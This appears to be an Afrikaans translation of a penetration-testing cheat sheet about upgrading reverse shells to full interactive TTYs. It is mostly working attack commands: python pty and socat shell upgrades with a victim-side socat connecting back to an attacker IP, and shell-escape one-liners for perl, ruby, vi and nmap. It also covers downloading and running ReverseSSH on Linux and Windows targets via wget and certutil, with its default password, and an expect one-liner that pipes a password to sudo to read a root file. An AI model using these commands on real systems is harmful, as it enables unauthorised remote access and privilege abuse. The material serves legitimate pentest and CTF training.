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94 lines
3.8 KiB
Markdown
94 lines
3.8 KiB
Markdown
# Volle TTYs
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## Volle TTY
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Let op dat die shell wat jy in die `SHELL` veranderlike stel **moet** **in** _**/etc/shells**_ **gelys wees** of `Die waarde vir die SHELL veranderlike is nie in die /etc/shells lêer gevind nie. Hierdie voorval is gerapporteer`. Let ook op dat die volgende snippette slegs in bash werk. As jy in 'n zsh is, verander na 'n bash voordat jy die shell verkry deur `bash` te loop.
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#### Python
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```bash
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python3 -c 'import pty; pty.spawn("/bin/bash")'
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(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
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```
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> [!NOTE]
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> Jy kan die **aantal** van **rye** en **kolomme** kry deur **`stty -a`** uit te voer
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#### script
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```bash
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script /dev/null -qc /bin/bash #/dev/null is to not store anything
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(inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset;
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```
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#### socat
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```bash
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#Listener:
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socat file:`tty`,raw,echo=0 tcp-listen:4444
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#Victim:
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socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444
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```
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### **Spawn shells**
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- `python -c 'import pty; pty.spawn("/bin/sh")'`
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- `echo os.system('/bin/bash')`
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- `/bin/sh -i`
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- `script -qc /bin/bash /dev/null`
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- `perl -e 'exec "/bin/sh";'`
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- perl: `exec "/bin/sh";`
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- ruby: `exec "/bin/sh"`
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- lua: `os.execute('/bin/sh')`
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- IRB: `exec "/bin/sh"`
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- vi: `:!bash`
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- vi: `:set shell=/bin/bash:shell`
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- nmap: `!sh`
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## ReverseSSH
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'n gerieflike manier vir **interaktiewe skulp toegang**, sowel as **lêer oordragte** en **poort forwarding**, is om die staties-gekoppelde ssh bediener [ReverseSSH](https://github.com/Fahrj/reverse-ssh) op die teiken te plaas.
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Hieronder is 'n voorbeeld vir `x86` met upx-gecomprimeerde binêre. Vir ander binêre, kyk na [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/).
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1. Berei plaaslik voor om die ssh poort forwarding versoek te vang:
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```bash
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# Drop it via your preferred way, e.g.
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wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
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/dev/shm/reverse-ssh -v -l -p 4444
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```
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- (2a) Linux teiken:
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```bash
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# Drop it via your preferred way, e.g.
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wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh
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/dev/shm/reverse-ssh -p 4444 kali@10.0.0.2
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```
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- (2b) Windows 10 teiken (vir vroeëre weergawes, kyk na [project readme](https://github.com/Fahrj/reverse-ssh#features)):
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```bash
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# Drop it via your preferred way, e.g.
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certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe
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reverse-ssh.exe -p 4444 kali@10.0.0.2
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```
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- As die ReverseSSH poort forwarding versoek suksesvol was, behoort jy nou in staat te wees om in te log met die standaard wagwoord `letmeinbrudipls` in die konteks van die gebruiker wat `reverse-ssh(.exe)` uitvoer:
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```bash
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# Interactive shell access
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ssh -p 8888 127.0.0.1
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# Bidirectional file transfer
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sftp -P 8888 127.0.0.1
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```
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## Penelope
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[Penelope](https://github.com/brightio/penelope) opgradeer outomaties Linux reverse shells na TTY, hanteer die terminalgrootte, log alles en nog baie meer. Dit bied ook readline-ondersteuning vir Windows shells.
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## Geen TTY
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As jy om een of ander rede nie 'n volle TTY kan verkry nie, kan jy **nog steeds met programme interaksie hê** wat gebruikersinvoer verwag. In die volgende voorbeeld word die wagwoord aan `sudo` gegee om 'n lêer te lees:
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```bash
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expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "<THE_PASSWORD_OF_THE_USER>";send "\r\n";interact'
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```
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